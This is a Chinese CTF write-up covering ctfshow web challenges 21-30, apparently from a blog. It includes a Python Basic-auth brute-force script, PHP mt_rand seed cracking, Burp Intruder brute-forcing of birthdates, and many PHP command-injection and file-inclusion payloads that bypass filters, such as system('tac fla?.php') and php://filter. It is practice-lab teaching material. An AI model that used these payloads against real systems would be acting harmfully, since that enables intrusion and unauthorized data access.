@


ctf - web入门

web21

题解

随便输入用户名:admin,密码:111



抓包看一下。没找到 username 和 password 的字段。but:

Authorization 请求头中,输入的 用户名 / 口令 以 base64 的形式传输。



格式是:用户名:密码



Intruder 爆破设置



选择自定义迭代



拼接语句 1



拼接语句 2



拼接语句 3

添加爆破密码字典



拼接完成后,设置 base64 编码。在 payload processing 进行编码设置。

最后的 URL 编码 不用选择。



最后的密码是 shark63。

下面的代码提供了另一种解题思路

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com import time
import requests
import base64 url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
# URL换成实际的靶场网址 password = [] # 使用字典
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break

原理

  • tomcat 认证爆破
  • burpsuite 暴力破解(Sniper)之 custom iterator 使用

Payload Sets 中选择类型:custom iterator(自定义迭代器)。

Payload Processing 中进行编码设置:进行base64编码。

取消 Palyload Encoding 编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响 base64 加密的结果。

web22

题解

域名更新后,flag.ctf.show 域名失效

所以这道题没法做了。but 爆破方式没有太大差别。

原理

  • 域名也可以爆破

web23

题解

分析代码:变量 token 被 md5 加密,且它的第一位 = 第十四位 = 第十七位,化为整数后(第一位 + 第十四位 + 第十七位)/ 第一位 = 第三十一位,则可获得 flag。



选择 burp 爆破也可以,但可以直接用写脚本跑出需要传递的值

# coding: utf-8

import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
for b in dic:
c = (str(a)+str(b)).encode('utf-8') # python3中必须进行utf-8编码
token = hashlib.md5(c).hexdigest()
if token[1:2] == token[14:15] and token[14:15] == token[17:18]:
if (int(token[1:2])+int(token[14:15])+int(token[17:18]))/int(token[1:2]) == int(token[31:32]):
print(c)

传递 token=3j

原理

  • MD5 加密:产生出一个 128 位(16 字节)的散列值(hash value),用于确保信息传输完整一致。生成结果是固定的 128 字节,通常用一个 32 位的 16 进制字符串表示。
  • PHP:substr()、intval()、以及代码分析

web24

题解

题目已经告诉了我们种子



可以直接写一个 php 脚本来得到随机数

<?php
mt_srand(372619038);
echo mt_rand();



解决

原理

  • PHP:伪随机数、mt_srand()、mt_rand()

提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数。

如果设置了 seed 参数,生成的随机数就是伪随机数,即每次生成的随机数是一样的

简单来说就是通过这个函数 mt_srand() 来设定一个种子 seed

再通过 mt_rand() 来结合种子按照一定的规则得到一个随机数

这是一个线性的计算,每次请求得到的随机数都是不一样的,但是只要种子一样,得到的随机数都是像一个一次函数一样变化的,就像 y=ax=b,x 就是请求的次数,a 和 b 就是由种子决定

web25

题解

通过分析可以得出如下思路:

种子涉及到flag,不能直接求到
if((!$rand)) 要使这个为真,就要让 $rand=0 ,
而 $rand = intval($r)-intval(mt_rand())
所以要得到随机数才能构造 $r=$mt_rand() 。

所以我们还要求得种子,这就要用到 php_mt_seed 来逆推种子了



先传递 r=0,可得到随机数的相反数,这里随机数为 2140655666。(不同靶场获得的随机数不一样)



下载好工具后拉到 kali 里面,打开文件夹,运行终端,输入 make



输入 ./php_mt_seed 随机数 ,开始爆破



因为不知道是第几次得到这个随机数,所以爆破出了很多个

398826382

398826383

966551370

1162957153

1259472860

3045777377

3123628127

这就需要写一个 php 的脚本来测试是哪个种子第一次就得到这个随机数

<?php
$num = 1162957153;
mt_srand($num);
echo mt_rand();

发现种子可能有多个,分别是 1162957153、1259472860、3045777377



接下来就得一个一个试了

对其中一个可能的种子请求两次并求和得到 token 的值

<?php
$num = 3045777377;
mt_srand($num);
$a1 = mt_rand();
$a2 = mt_rand();
$a3 = mt_rand();
echo $a1."<br/>";
echo $a2."<br/>";
echo $a3."<br/>";
echo ($a2 + $a3)."<br/>";

这样需要的值都拿到了,接下来用 burp 改个包提交即可。

最后得到:

r=3045777377

token=3295063840

原理

  • 和上题一样是伪随机数的题目。
  • 这个题需要使用工具 php_mt_seed 。专门用来跑mt_srand()种子和 mt_rand()随机数。

    下载地址:https://www.openwall.com/php_mt_seed/

web26

这题确实是可以爆破出来。不过...

题解

点击“同意协议,开始安装”后,点击下面的按钮,竟然弹出了连接成功。



直接上 burp 获得了 flag。

第二种方法

当然也可以直接用 burp 爆破。



选择字典后就可以开始爆破了。这里用了之前的一个字典。然后密码看了其他师傅的 writeup 后手动添加到字典里的...密码是 7758521



最后通过长度筛选获得请求成功的信息

web27

  • burpsuite 暴力破解(Sniper)之 Dates 使用

题解

网页是菜鸡学院教务管理系统

可以下载录取名单,可以查讯学生学籍信息



录取名单里面有学生姓名和部分身份证号,屏蔽的信息是生日年月日。



学生学籍信息查询系统中只需要输入姓名和身份证就可以查询信息。

那就以第一个同学为例。



burp 抓包



爆破模块有一个 Dates 模块,专门用来爆破日期信息,把格式调好,就设定一个范围开始爆破



爆破出来生日为 19900201

burp 获取的结果是 html 编码过的,可以直接在浏览器控制台解析



也可以直接查询



登录

web28

  • burpsuite 暴力破解(Cluster bomb)之 Numbers 使用

题解

看 url 会比较奇怪,是 0/1/2.txt。如果修改最后的 2.txt 会被无限重定向,不删除 2.txt 只修改前面的 0 和 1 依旧会被无限重定向。



所以,先去掉 2.txt,对前面两个数字进行爆破。

攻击类型选择 Cluster bomb(集束炸弹)



设置 payload 1



payload 2 同理



爆破成功

web29

题解

preg_match 函数用于执行一个正则表达式匹配。

这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。

匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。

方法一

url + ?c=system('tac fla?.php');
  • system() 这个函数是系统调用。类似于在 cmd 窗口中执行,其参数是可执行的命令。
  • tac 命令本质上是 cat 命令,但其目的是反向连接文件。

    tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。
  • 利用Linux系统的通配符 ? 绕过
  • 所以使用 cat 命令也可以获取 flag,但需要在源码中查看。

方法二

url + ?c=echo `tac fl''ag.php`;
  • 反引号的作用就是将反引号内的 Linux 命令先执行,然后将执行结果赋予变量。
  • 由于 '' 符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在 linux 中可以使用【'】来绕过,比如 fl''ag 就等效于 flag



方法三

url + ?c=echo `nl fl?g.php`;
  • nl 命令:Linux 中 nl 命令和 cat 命令很像,不过 nl 命令会打上行号

    nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号。

    注意 nl 指令没有回显,要 echo 出来才有效果

查看源码获得 flag



方法四

url + ?c=`cp fl?g.php 1.txt`;

复制 flag.php 成为 1.txt 再访问 1.txt 来获得信息



方法五

嵌套 eval 逃逸参数

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

逃逸出一个 1,flag 在 1 里不会被过滤 。



方法六

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

pos() 函数返回数组中当前元素(指针指向)的值。

scandir() 函数返回指定目录中的文件和数组。

array_reverse() 将数组倒序输出。

next() 将指针指向数组的下一个元素并输出。

show_source() 对文件进行语法高亮显示,是highlight_file()别名。



方法七

嵌套 include 文件包含,利用伪协议文件包含,再 base64 编码

url + ?c=include $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

base64 解码后获得源码



方法八

嵌套 require 文件包含

url + ?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

base64 解码后获得源码



方法九

使用通配符【*】

url + ?c=system('cat fl*');

查看源码获得 flag

原理

  • PHP:preg_match() 、eval()、嵌套 eval 逃逸参数、伪协议、文件包含
  • Linux 命令:system() 函数、tac 命令、反引号、通配符、nl 命令、cp 命令
  • 注意内联命令执行的反引号
  • 注意 php 语句的结束符分号

web30

方法都和上一题差不多。掌握原理就轻松很多了。果然上一题学了那么多方法是不亏的啊 o(* ̄3 ̄)o

除此以外附上其他师傅的总结:

system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open(); #详细用法百度吧
pcntl_exec(); #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号 #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)

题解



方法一

随便用上一题的一种方法就好了。这里用的是

url + ?c=echo `tac f''lag.ph''p`;

得手



方法二

源码过滤了 system,可以采用 passthru。

url + ?c=passthru("cat fl*");

当然这类题还有其他很多方法。


善者不辩,辩者不善。

——《道德经》

《CTFshow-Web入门》03. Web 21~30的更多相关文章

  1. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  2. Web入门

    目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...

  3. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  4. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  5. ctfshow的web入门171

    web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...

  6. python web入门程序

    python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...

  7. Java web 入门知识 及HTTP协议详解

     Java  web  入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...

  8. Spring Boot 入门之 Web 篇(二)

    原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...

  9. Python web前端 03 CSS属性

    Python web前端 03 CSS属性 一.文字.文本属性 1.文字属性 font-family #字体类型浏览器默认的字体是微软雅黑,字体中有多个字体的时候,如果前面的字体没有就使用后面的字体 ...

  10. Java Web入门经典扫描版

    全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...

随机推荐

  1. Linux基础 | 青训营笔记

    课程介绍 以下是Linux系统的相关知识(但是并不全部出现在本文中) 学习Linux的价值 Liux是现代化应用程序交付的首选平台,无论是部署在裸机.虚拟化还是容器化环境 公司内部服务(TCE.Faa ...

  2. vue平铺日历组件之按住ctrl、shift键实现跨月、跨年多选日期的功能

    已经好久没有更新过博客了,大概有两三年了吧,因为换了工作,工作也比较忙,所以也就没有时间来写技术博客,期间也一直想写,但自己又比较懒,就给耽误了.今天这篇先续上,下一篇什么时候写,我也不知道,随心所欲 ...

  3. 【技术分享】万字长文图文并茂读懂高性能无锁 “B-Tree 改”:Bw-Tree

    [技术分享]万字长文图文并茂读懂高性能无锁 "B-Tree 改":Bw-Tree 原文链接: https://mp.weixin.qq.com/s/I5TphQP__tHn6JoP ...

  4. 【LeetCode双向链表】LRU详解,双向链表实战

    LRU缓存 请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构. 实现 LRUCache 类: LRUCache(int capacity) 以 正整数 作为容量 capacity ...

  5. 谈谈ChatGPT是否可以替代人

    起初我以为我是搬砖的,最近发现其实只是一块砖,哪里需要哪里搬. 这两天临时被抽去支援跨平台相关软件开发,帮忙画几个界面.有了 ChatGPT 之后就觉得以前面向 Googel 编程会拉低我滴档次和逼格 ...

  6. 5个 Istio 访问外部服务流量控制最常用的例子,你知道几个?

    5 个 Istio 访问外部服务的流量控制常用例子,强烈建议收藏起来,以备不时之需. 环境准备 部署 sleep 服务,作为发送请求的测试源: kubectl apply -f samples/sle ...

  7. CentOS7 本地光盘镜像rpm包

    CentOS7 本地光盘镜像rpm包 一.前言 rpm包的下载方式 通过本地光盘镜像下载rpm,centos7.iso镜像文件,内置了绝大多数软件的rpm包(本文章即演示如何配置本地rpm) 在线下载 ...

  8. CF1817E Half-sum

    题意 有一个大小为 \(N\) 的非负整数集合 \(A\),每次你可以从集合中取任意两个数,并将它们的平均数放回序列.不停操作,知道集合最后剩下两个数.请求出这两个数的差的绝对值的最大值对 \(10^ ...

  9. C++面试八股文:知道std::unordered_set/std::unordered_map吗?

    某日二师兄参加XXX科技公司的C++工程师开发岗位第27面: 面试官:知道std::unordered_set/std::unordered_map吗? 二师兄:知道.两者都是C++11引入的新容器, ...

  10. List 接口及其常用方法

    List 接口基本介绍 List接口是Collection接口的子接口,其主要特点如下: List中元素有序,是按照元素的插入顺序进行排序的.每个元素都有一个与之关联的整数型索引(索引从 0 开始), ...